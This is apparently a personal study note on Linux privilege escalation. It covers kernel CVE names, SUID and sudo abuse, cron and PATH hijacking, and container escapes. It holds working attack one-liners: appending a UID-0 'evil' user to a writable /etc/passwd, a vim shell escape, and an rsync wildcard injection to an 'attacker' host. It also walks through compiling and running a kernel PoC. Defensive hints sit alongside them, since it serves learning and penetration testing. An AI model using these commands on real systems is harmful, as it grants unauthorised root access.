Linux Exploits — Mythos Findings & Core Knowledge

#Mythos-Attributed Findings

Add CVE numbers, PoC links, and affected kernel versions here as they're discovered/published.

Memory hook

most Linux privesc CVEs are one of three bug-shapes, all aiming at "user → root." When you read these CVEs, sort them by primitive: race conditions / TOCTOU (DirtyCOW, Dirty Pipe — win a timing window to write something you shouldn't), memory corruption (use-after-free and overflows in the kernel or a setuid program — PwnKit/pkexec, Baron Samedit/sudo), and logic/validation flaws (the eBPF verifier mis-proving a program safe, a namespace or capability check missed). They share a goal — turn local code execution into root — and a defense story: the kernel-hardening sysctls and nosuid/lockdown from linux-hardening plus patching fast, since these get weaponized within hours. Detection-wise, kernel exploits are hard to catch on the way in, so you lean on the aftermath — an unexpected uid-0 process, a setuid binary appearing, auditd execve anomalies. Mnemonic: race, corruption, or logic — three roads to root.

#Must-Know Linux Kernel CVEs

#DirtyCOW — CVE-2016-5195

#DirtyPipe — CVE-2022-0847

#Overlayfs Privilege Escalation — CVE-2023-0386

#eBPF Privilege Escalation — CVE-2021-3490 / CVE-2021-31440

#PwnKit — CVE-2021-4034

#Looney Tunables — CVE-2023-4911

#Netfilter / nftables — CVE-2023-32233 / CVE-2022-32250

#Linux Privilege Escalation Techniques

#SUID/SGID Binaries

find / -perm -4000 -type f 2>/dev/null   # find SUID binaries
find / -perm -2000 -type f 2>/dev/null   # find SGID binaries

• GTFOBins: list of Unix binaries that can be abused when they have SUID set
• Common targets: find, vim, bash, cp, nmap, python
• In plain English: the SUID bit makes a program run as its owner (usually root) no matter who launches it. Harmless for passwd; catastrophic for anything that can run your commands. find can run a command (-exec), vim/python can spawn a shell, cp can overwrite /etc/passwd — so if any of them is SUID-root, it's a one-liner to root.
• 🧠 Fun fact: GTFOBins is a searchable catalogue of exactly these one-liners. Workflow on a box: find / -perm -4000 2>/dev/null, then look up each result on GTFOBins. The defender does the same search — your SUID list should be short and boring; a SUID python3 or find is a giant red flag someone put there.

#Sudo Misconfigurations

sudo -l                                   # list allowed sudo commands

• (ALL) NOPASSWD: /usr/bin/vim → :!/bin/bash inside vim → root shell
• Wildcard abuse: sudo rsync * attacker:/tmp/ → inject --rsh=sh exploit.sh

#Cron Jobs

cat /etc/crontab
ls -la /etc/cron*

• World-writable script executed by root cron → replace content
• PATH hijacking: cron runs backup.sh without absolute path; attacker controls earlier PATH directory

#Writable /etc/passwd

openssl passwd -1 -salt evil evilpassword     # make an MD5 ($1$) hash for a password you know
echo 'evil:$1$evil$...:0:0:root:/root:/bin/bash' >> /etc/passwd   # the two 0s = UID 0, GID 0 = ROOT
su evil                                         # log in with evilpassword → root shell

• If /etc/passwd is world-writable, add a root-equivalent user. Root is defined by UID 0, not by the name root — so any account whose third field is 0 is root. Modern systems keep real hashes in /etc/shadow, but /etc/passwd still accepts an inline hash in field 2 (a legacy fallback), which is why this one-liner works. (Full passwd-vs-shadow breakdown and offline-cracking workflow: privilege-escalation.md.)

#Kernel Exploit Path (Generic)

1. uname -a → identify kernel version
2. Search CVEs: searchsploit linux kernel <version>
3. Compile PoC on target (or cross-compile)
4. Upload via writable dir (/tmp, /dev/shm)
5. Execute → root shell

#NFS No_root_squash

cat /etc/exports                           # look for no_root_squash
showmount -e <target>

• Mount NFS share as root on attacker machine → create SUID binary → execute on target

#Docker/Container Escape Paths

• --privileged container → mount /dev/sda1 /mnt → chroot into host
• docker.sock mounted inside container → create new privileged container
• CAP_SYS_ADMIN → cgroups release_agent PoC (classic container escape)

📖

Why these work — a container is not a VM. A container is just processes on the host kernel, fenced off by namespaces (separate views of PIDs, mounts, network) and cgroups (resource limits). There's no hardware boundary like a VM has, so anything that lets you punch through the fence drops you onto the host. The three above are the classic holes: --privileged removes almost all the fencing (you can see and mount the host's disks → read/write the real filesystem); a mounted docker.sock is the Docker daemon's API — and the daemon runs as root on the host, so "talk to the socket" = "ask root to run anything for you"; and CAP_SYS_ADMIN ("the new root") lets you abuse the cgroup release_agent to make the host kernel execute your script. Takeaway: --privileged, a mounted docker socket, and CAP_SYS_ADMIN are the three things to grep for first.

#Kernel Architecture Reminders

#Useful Tools